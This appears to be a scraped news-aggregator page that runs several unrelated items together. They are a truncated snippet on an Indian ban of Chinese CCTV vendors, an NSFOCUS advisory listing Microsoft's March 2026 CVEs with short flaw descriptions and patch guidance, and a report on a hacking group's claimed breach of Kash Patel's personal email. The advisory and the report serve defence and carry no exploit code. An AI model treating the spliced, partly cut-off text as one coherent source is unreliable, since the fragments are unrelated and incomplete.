href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026%2F&amp;linkname=7%20tabletop%20exercise%20scenarios%20every%20cybersecurity%20team%20should%20practice%20in%202026" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026%2F&amp;linkname=7%20tabletop%20exercise%20scenarios%20every%20cybersecurity%20team%20should%20practice%20in%202026" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.trustcloud.ai">TrustCloud</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Shweta Dhole">Shweta Dhole</a>. Read the original post at: <a href="https://www.trustcloud.ai/risk-management/7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026/">https://www.trustcloud.ai/risk-management/7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026/</a> </p>

New Delhi: Chinese video surveillance companies such as Hikvision, Dahua and TP-Link will be barred from selling internet-connected CCTV cameras and other video surveillance products from April 1 whe… [+3599 chars]

<h2>Overview</h2><p>On March 11, NSFOCUS CERT detected that Microsoft released the March Security Update patch, which fixed 83 security issues involving widely used products such as Windows, Microsoft Office, Microsoft SQL Server, Azure, etc., including high-risk vulnerability types such as privilege escalation and remote code execution.</p><p>Among the vulnerabilities fixed by Microsoft’s monthly update this month, there are 8 critical vulnerabilities and 75 important vulnerabilities.</p><p>Please update the patch as soon as possible for protection. For a complete list of vulnerabilities, please refer to the appendix.</p><p>Reference link: <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Mar">https://msrc.microsoft.com/update-guide/releaseNote/2026-Mar</a></p><h2>Key Vulnerabilities</h2><p>Based on the product popularity and vulnerability importance, this update contains vulnerabilities with greater impact. Relevant users are requested to pay special attention:</p><p><strong>Microsoft Office Remote Code Execution Vulnerability (CVE-2026-26110):</strong></p><p>A remote code execution vulnerability exists in Microsoft Office. Due to type confusion issues in Microsoft Office, an unauthenticated attacker can access resources through incompatible data types, and the user preview pane will trigger arbitrary code execution. CVSS score 8.4.</p><p>Official announcement link:</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110</a></p><p><strong>Microsoft Office Remote Code Execution Vulnerability (CVE-2026-26113):</strong></p><p>A remote code execution vulnerability exists in Microsoft Office. Due to the untrusted pointer dereference problem that Microsoft Office is dealing with, an unauthenticated attacker can send a specially crafted malicious file to the user, which will cause arbitrary code execution after the user previews or clicks it. CVSS score 8.4.</p><p>Official announcement link:</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113</a></p><p><strong>Microsoft Excel Information Disclosure Vulnerability (CVE-2026-26144):</strong></p><p>There is an information disclosure vulnerability in Microsoft Excel. Because Microsoft Excel fails to correctly process the input data during the web page generation process, it leads to cross-site scripting attacks. Unauthenticated attackers can obtain sensitive information through the Copilot Agent mode. CVSS score 7.5.</p><p>Official announcement link:</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144</a></p><p><strong>Windows Print Spooler Remote Code Execution Vulnerability (CVE-2026-23669):</strong></p><p>Windows Print Spooler has a remote code execution vulnerability. Because Windows Print Spooler allows use-after-free reuse (use-after-free), an authenticated attacker can execute arbitrary code over the network. CVSS score 8.8.</p><p>Official announcement link:</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669</a></p><p><strong>Windows SMB Server Privilege Escalation Vulnerability (CVE-2026-24294):</strong></p><p>A privilege escalation vulnerability exists in Windows SMB Server, which allows an authenticated local attacker to elevate privileges to SYSTEM due to improper authentication issues in the Windows SMB server. CVSS score 7.8.</p><p>Official announcement link:</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294</a></p><p><strong>Windows Graphics Component Privilege Escalation Vulnerability (CVE-2026-23668):</strong></p><p>A privilege escalation vulnerability exists in the Windows Graphics Component. Due to a flawed synchronization mechanism when using shared resources in Microsoft Graphics Component, an authenticated attacker can elevate privileges to SYSTEM through conditional competition. CVSS score 7.0.</p><p>Official announcement link:</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668</a></p><h2>Scope of Impact</h2><p>The following are the affected product versions of some key vulnerabilities. For the scope of products affected by other vulnerabilities, please refer to the official announcement link.</p><figure class="wp-block-table"> <table> <tbody> <tr> <td>Vulnerability Number</td> <td>Affected product versions</td> </tr> <tr> <td>CVE-2026-26110</td> <td>Microsoft Office for Android <br>Microsoft Office 2016 (64-bit edition) <br>Microsoft Office 2016 (32-bit edition) <br>Microsoft Office LTSC for Mac 2024 <br>Microsoft Office LTSC 2024 for 64-bit editions <br>Microsoft Office LTSC 2024 for 32-bit editions <br>Microsoft Office LTSC 2021 for 32-bit editions <br>Microsoft Office LTSC 2021 for 64-bit editions <br>Microsoft Office LTSC for Mac 2021<br>Microsoft 365 Apps for Enterprise for 64-bit Systems <br>Microsoft 365 Apps for Enterprise for 32-bit Systems <br>Microsoft Office 2019 for 64-bit editions <br>Microsoft Office 2019 for 32-bit editions</td> </tr> <tr> <td>CVE-2026-26113</td> <td>Microsoft Office 2016 (64-bit edition) <br>Microsoft Office 2016 (32-bit edition) <br>Microsoft Office LTSC for Mac 2024 <br>Microsoft Office LTSC 2024 for 64-bit editions <br>Microsoft Office LTSC 2024 for 32-bit editions <br>Microsoft Office LTSC 2021 for 64-bit editions <br>Microsoft Office LTSC for Mac 2021 <br>Microsoft 365 Apps for Enterprise for 64-bit Systems <br>Microsoft 365 Apps for Enterprise for 32-bit Systems <br>Microsoft Office 2019 for 64-bit editions <br>Microsoft Office 2019 for 32-bit editions <br>Microsoft SharePoint Server 2019 <br>Microsoft SharePoint Server Subscription Edition <br>Microsoft SharePoint Enterprise Server 2016</td> </tr> <tr> <td>CVE-2026-26144</td> <td>Microsoft 365 Apps for Enterprise for 32-bit Systems <br>Microsoft 365 Apps for Enterprise for 64-bit Systems</td> </tr> <tr> <td>CVE-2026-23669 CVE-2026-24294</td> <td>Windows Server 2012 R2 (Server Core installation) <br>Windows Server 2012 R2 <br>Windows Server 2012 (Server Core installation) <br>Windows Server 2012 <br>Windows Server 2016 (Server Core installation) <br>Windows Server 2016 <br>Windows 10 Version 1607 for x64-based Systems <br>Windows 10 Version 1607 for 32-bit Systems <br>Windows Server 2025 <br>Windows 11 Version 24H2 for x64-based Systems <br>Windows 11 Version 24H2 for ARM64-based Systems <br>Windows Server 2022, 23H2 Edition (Server Core installation) <br>Windows 11 Version 23H2 for x64-based Systems <br>Windows 11 Version 23H2 for ARM64-based Systems <br>Windows 11 Version 25H2 for x64-based Systems <br>Windows 11 Version 25H2 for ARM64-based Systems <br>Windows Server 2025 (Server Core installation) <br>Windows 10 Version 22H2 for 32-bit Systems <br>Windows 10 Version 22H2 for ARM64-based Systems <br>Windows 10 Version 22H2 for x64-based Systems <br>Windows 10 Version 21H2 for x64-based Systems <br>Windows 10 Version 21H2 for ARM64-based Systems <br>Windows 10 Version 21H2 for 32-bit Systems <br>Windows Server 2022 (Server Core installation) <br>Windows Server 2022 <br>Windows Server 2019 (Server Core installation) <br>Windows Server 2019 <br>Windows 10 Version 1809 for x64-based Systems <br>Windows 10 Version 1809 for 32-bit Systems <br>Windows 11 version 26H1 for x64-based Systems <br>Windows 11 Version 26H1 for ARM64-based Systems</td> </tr> <tr> <td>CVE-2026-23668</td> <td>Windows Server 2012 R2 (Server Core installation) <br>Windows Server 2012 R2 <br>Windows Server 2012 (Server Core installation) <br>Windows Server 2012 <br>Windows Server 2016 (Server Core installation)<br>Windows Server 2016 <br>Windows 10 Version 1607 for x64-based Systems <br>Windows 10 Version 1607 for 32-bit Systems <br>Windows Server 2022, 23H2 Edition (Server Core installation) <br>Windows 11 Version 23H2 for x64-based Systems <br>Windows 11 Version 23H2 for ARM64-based Systems <br>Windows 10 Version 22H2 for 32-bit Systems <br>Windows 10 Version 22H2 for ARM64-based Systems <br>Windows 10 Version 22H2 for x64-based Systems <br>Windows 10 Version 21H2 for x64-based Systems <br>Windows 10 Version 21H2 for ARM64-based Systems <br>Windows 10 Version 21H2 for 32-bit Systems <br>Windows Server 2022 (Server Core installation) <br>Windows Server 2022 <br>Windows Server 2019 (Server Core installation) <br>Windows Server 2019 <br>Windows 10 Version 1809 for x64-based Systems <br>Windows 10 Version 1809 for 32-bit Systems</td> </tr> </tbody> </table> </figure><h2>Mitigation</h2><p>At present, Microsoft has officially released security patches to fix the above vulnerabilities for supported product versions. It is strongly recommended that affected users install patches as soon as possible for protection. The official download link:</p><p><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Mar">https://msrc.microsoft.com/update-guide/releaseNote/2026-Mar</a></p><p>Note: Patch updates for Windows Update may fail due to network problems, computer environment problems, etc. After installing the patch, users should check whether the patch has been successfully updated in time.</p><p>Right-click the Windows icon, select “Settings (N)”, select “Update and Security”-“Windows Update”, view the prompt information on this page, or click “View Update History” to view the historical update status.</p><p>For updates that have not been successfully installed, you can click the update name to jump to the Microsoft official download page. It is recommended that users click the link on this page and go to the “Microsoft Update” website to download the independent program package and install it.</p><h2>Appendix: Vulnerability List</h2><figure class="wp-block-table is-style-stripes"> <table class="has-fixed-layout"> <thead> <tr> <th>Affected products</th> <th>CVE No.</th> <th>Vulnerability Title</th> <th>Severity</th> </tr> </thead> <tbody> <tr> <td>Microsoft Office</td> <td>CVE-2026-26113</td> <td>Microsoft Office Remote Code Execution Vulnerability</td> <td>Critical</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-23651</td> <td>Microsoft ACI Confidential Containers Privilege Escalation Vulnerability</td> <td>Critical</td> </tr> <tr> <td>Device</td> <td>CVE-2026-21536</td> <td>Microsoft Devices Pricing Program Remote Code Execution Vulnerability</td> <td>Critical</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-26124</td> <td>Microsoft ACI Confidential Containers Privilege Escalation Vulnerability</td> <td>Critical</td> </tr> <tr> <td>Other</td> <td>CVE-2026-26125</td> <td>Payment Orchestrator Service privilege escalation vulnerability</td> <td>Critical</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-26122</td> <td>Microsoft ACI Confidential Containers Information Disclosure Vulnerability</td> <td>Critical</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26110</td> <td>Microsoft Office Remote Code Execution Vulnerability</td> <td>Critical</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26144</td> <td>Microsoft Excel Information Disclosure Vulnerability</td> <td>Critical</td> </tr> <tr> <td>Microsoft SQL Server</td> <td>CVE-2026-21262</td> <td>SQL Server Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-23660</td> <td>Windows Admin Center in Azure Portal Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-23664</td> <td>Azure IoT Explorer information disclosure vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23667</td> <td>Broadcast DVR Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23668</td> <td>Windows Graphics Component Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23669</td> <td>Windows Print Spooler Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23671</td> <td>Windows Bluetooth RFCOM Protocol Driver Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23672</td> <td>Windows Universal Disk Format File System Driver (UDFS) Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23673</td> <td>Windows Resilient File System (ReFS) Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24282</td> <td>Push message Routing Service privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24283</td> <td>Multiple UNC Provider Kernel Driver privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office,Windows</td> <td>CVE-2026-24285</td> <td>Win32k Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24287</td> <td>Windows Kernel privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24288</td> <td>Windows Mobile Broadband Driver Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24289</td> <td>Windows Kernel privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24290</td> <td>Windows Projected File System Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24291</td> <td>Windows Accessibility Infrastructure (ATBroker.exe) Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24292</td> <td>Windows Connected Devices Platform Service privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24293</td> <td>Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24294</td> <td>Windows SMB Server Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24295</td> <td>Windows Device Association Service privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24296</td> <td>Windows Device Association Service privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-24297</td> <td>Windows Kerberos security feature bypass vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25165</td> <td>Performance Counters for Windows privilege escalation vulnerabilities</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25166</td> <td>Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25167</td> <td>Microsoft Brokering File System Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25168</td> <td>Windows Graphics Component Denial of Service Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25169</td> <td>Windows Graphics Component Denial of Service Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25170</td> <td>Windows Hyper-V privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25171</td> <td>Windows Authentication privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25172</td> <td>Windows Routing and Remote Access Service (RRAS) remote code execution vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25173</td> <td>Windows Routing and Remote Access Service (RRAS) remote code execution vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25174</td> <td>Windows Extensible File Allocation Table Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25175</td> <td>Windows NTFS privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25176</td> <td>Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25177</td> <td>Active Directory Domain Services privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25178</td> <td>Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25179</td> <td>Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office,Windows</td> <td>CVE-2026-25180</td> <td>Windows Graphics Component Information Disclosure Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25181</td> <td>GDI+ information leakage vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25185</td> <td>Windows Shell Link Data Processing Spoofing Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25186</td> <td>Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25187</td> <td>Winlogon Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25188</td> <td>Windows Telephony Service privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25189</td> <td>Windows DWM Core Library privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-25190</td> <td>GDI remote code execution vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26105</td> <td>Microsoft SharePoint Server Spoofing Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-26111</td> <td>Windows Routing and Remote Access Service (RRAS) remote code execution vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26112</td> <td>Microsoft Excel Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26114</td> <td>Microsoft SharePoint Server Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23656</td> <td>Windows App Installer spoofing vulnerability</td> <td>Important</td> </tr> <tr> <td>System Center</td> <td>CVE-2026-20967</td> <td>System Center Operations Manager (SCOM) privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-26121</td> <td>Azure IOT Explorer spoofing vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft SQL Server</td> <td>CVE-2026-26115</td> <td>SQL Server Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft SQL Server</td> <td>CVE-2026-26116</td> <td>SQL Server Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-26128</td> <td>Windows SMB Server Privilege Escalation Vulnerability</td> <td>Important</td> </tr> <tr> <td>.NET 10.0 installed on Linux</td> <td>CVE-2026-26131</td> <td>.NET privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-26132</td> <td>Windows Kernel privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26134</td> <td>Microsoft Office privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft.Bcl.Memory,<br>.NET 9.0 installed on Windows,<br>.NET 10.0 installed on Windows,<br>.NET 9.0 installed on Mac OS,<br>.NET 10.0 installed on Linux,<br>.NET 10.0 installed on Mac OS,<br>.NET 9.0 installed on Linux</td> <td>CVE-2026-26127</td> <td>.NET Denial of Service Vulnerability</td> <td>Important</td> </tr> <tr> <td>Windows</td> <td>CVE-2026-23674</td> <td>MapUrlToZone security feature bypass vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-26148</td> <td>Microsoft Azure AD SSH Login extension for Linux privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Open Source Software</td> <td>CVE-2026-23654</td> <td>GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-23661</td> <td>Azure IoT Explorer information disclosure vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-23662</td> <td>Azure IoT Explorer information disclosure vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-23665</td> <td>Linux Azure Diagnostic extension (LAD) privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26106</td> <td>Microsoft SharePoint Server Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26107</td> <td>Microsoft Excel Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26108</td> <td>Microsoft Excel Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Microsoft Office</td> <td>CVE-2026-26109</td> <td>Microsoft Excel Remote Code Execution Vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-26117</td> <td>Arc Enabled Servers-Azure Connected Machine Agent privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-26118</td> <td>Azure MCP Server Tools privilege escalation vulnerability</td> <td>Important</td> </tr> <tr> <td>Apps</td> <td>CVE-2026-26123</td> <td>Microsoft Authenticator Information Disclosure Vulnerability</td> <td>Important</td> </tr> <tr> <td>ASP.NET Core</td> <td>CVE-2026-26130</td> <td>ASP.NET Core denial of service vulnerability</td> <td>Important</td> </tr> <tr> <td>Azure</td> <td>CVE-2026-26141</td> <td>Hybrid Worker Extension (Arcenabled‑ Windows VMs) Privilege Escalation Vulnerability</td> <td>Important</td> </tr> </tbody> </table> </figure><h2>Statement</h2><p>This advisory is only used to describe a potential risk. NSFOCUS does not provide any commitment or promise on this advisory. NSFOCUS and the author will not bear any liability for any direct and/or indirect consequences and losses caused by transmitting and/or using this advisory. NSFOCUS reserves all the rights to modify and interpret this advisory. Please include this statement paragraph when reproducing or transferring this advisory. Do not modify this advisory, add/delete any information to/from it, or use this advisory for commercial purposes without permission from NSFOCUS.</p><h2>About NSFOCUS</h2><p>NSFOCUS, a pioneering leader in cybersecurity, is dedicated to safeguarding telecommunications, Internet service providers, hosting providers, and enterprises from sophisticated cyberattacks.</p><p>Founded in 2000, NSFOCUS operates globally with over 4000 employees at two headquarters in Beijing, China, and Santa Clara, CA, USA, and over 50 offices worldwide. It has a proven track record of protecting over 25% of the Fortune Global 500 companies, including four of the five largest banks and six of the world’s top ten telecommunications companies.</p><p>Leveraging technical prowess and innovation, NSFOCUS delivers a comprehensive suite of security solutions, including the Intelligent Security Operations Platform (ISOP) for modern SOC, DDoS Protection, Continuous Threat Exposure Management (CTEM) Service and Web Application and API Protection (WAAP). All the solutions and services are augmented by the Security Large Language Model (SecLLM), ML, patented algorithms and other cutting-edge research achievements developed by NSFOCUS.</p><p>The post <a rel="nofollow" href="https://nsfocusglobal.com/microsofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products/">Microsoft’s March Security Update of High-Risk Vulnerability Notice for Multiple Products</a> appeared first on <a rel="nofollow" href="https://nsfocusglobal.com/">NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks.</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/microsofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products/" data-a2a-title="Microsoft’s March Security Update of High-Risk Vulnerability Notice for Multiple Products"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fmicrosofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products%2F&amp;linkname=Microsoft%E2%80%99s%20March%20Security%20Update%20of%20High-Risk%20Vulnerability%20Notice%20for%20Multiple%20Products" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fmicrosofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products%2F&amp;linkname=Microsoft%E2%80%99s%20March%20Security%20Update%20of%20High-Risk%20Vulnerability%20Notice%20for%20Multiple%20Products" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fmicrosofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products%2F&amp;linkname=Microsoft%E2%80%99s%20March%20Security%20Update%20of%20High-Risk%20Vulnerability%20Notice%20for%20Multiple%20Products" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fmicrosofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products%2F&amp;linkname=Microsoft%E2%80%99s%20March%20Security%20Update%20of%20High-Risk%20Vulnerability%20Notice%20for%20Multiple%20Products" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fmicrosofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products%2F&amp;linkname=Microsoft%E2%80%99s%20March%20Security%20Update%20of%20High-Risk%20Vulnerability%20Notice%20for%20Multiple%20Products" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://nsfocusglobal.com/">NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks.</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by NSFOCUS">NSFOCUS</a>. Read the original post at: <a href="https://nsfocusglobal.com/microsofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products/">https://nsfocusglobal.com/microsofts-march-security-update-of-high-risk-vulnerability-notice-for-multiple-products/</a> </p>

<h2><b>What happened</b></h2><p class="p3">A pro-Iranian hacking group claimed credit for hacking <span class="s2">FBI Director Kash Patel’s</span> personal account and said it was releasing emails and other documents tied to that account. The group, <span class="s2">Handala</span>, posted what appeared to be years-old photographs of <span class="s2">Patel</span>, along with a work résumé and other personal documents. Many of the records appeared to relate to personal travel and business activity from more than 10 years ago. A person familiar with the matter confirmed that a personal email account belonging to <span class="s2">Patel</span> had been breached. It was not clear when the intrusion occurred, though reports from December 2024 said <span class="s2">Patel</span> had been informed by the <span class="s2">FBI</span> that he had been targeted as part of an Iranian hack. The <span class="s2">FBI</span> had no immediate comment.<span class="Apple-converted-space">  </span></p><h2><b>Who is affected</b></h2><p class="p3">The direct exposure involves <span class="s2">Kash Patel</span> and the contents of his personal account, including emails and other personal documents that <span class="s2">Handala</span> said it was making available for download. The article does not state how much material was accessed beyond the records and images described.<span class="Apple-converted-space">  </span></p><h2><b>Why CISOs should care</b></h2><p class="p3">This incident is relevant because it involves the compromise of a personal account belonging to a senior U.S. government official and the threatened public release of materials taken from that account. It also shows how politically aligned hacking groups can use personal account access as a vehicle for exposure and public messaging.<span class="Apple-converted-space">  </span></p><h2><b>3 practical actions</b></h2><ol> <li class="p3"><span class="s2"><b>Separate personal and official risk response:</b></span> Ensure executive protection plans account for the possibility that personal accounts, documents, and travel-related records may become part of a cyber incident involving senior leaders.<span class="Apple-converted-space">  </span></li> <li class="p3"><span class="s2"><b>Prepare for public leak handling:</b></span> Align security, legal, and communications teams for incidents where attackers claim they will release emails and personal documents rather than rely only on private extortion.<span class="Apple-converted-space">  </span></li> <li class="p3"><span class="s2"><b>Treat old records as current exposure:</b></span> Include legacy personal data and older account content in executive risk reviews, since the material described in this case appeared to include records from more than a decade ago.<span class="Apple-converted-space">  </span></li> </ol><p class="p3">For more news about politically motivated intrusions targeting individuals and organizations, click <a href="https://cisowhisperer.com/tag/cyberattack/"><span class="s2"><b>Cyberattack</b></span></a> to read more.</p><p>The post <a rel="nofollow" href="https://cisowhisperer.com/pro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account/">Pro-Iranian Hacking Group Claims Credit for Hack of FBI Director Kash Patel’s Personal Account</a> appeared first on <a rel="nofollow" href="https://cisowhisperer.com/">CISO Whisperer</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/pro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account/" data-a2a-title="Pro-Iranian Hacking Group Claims Credit for Hack of FBI Director Kash Patel’s Personal Account"><a class="a2a_button_twitter" 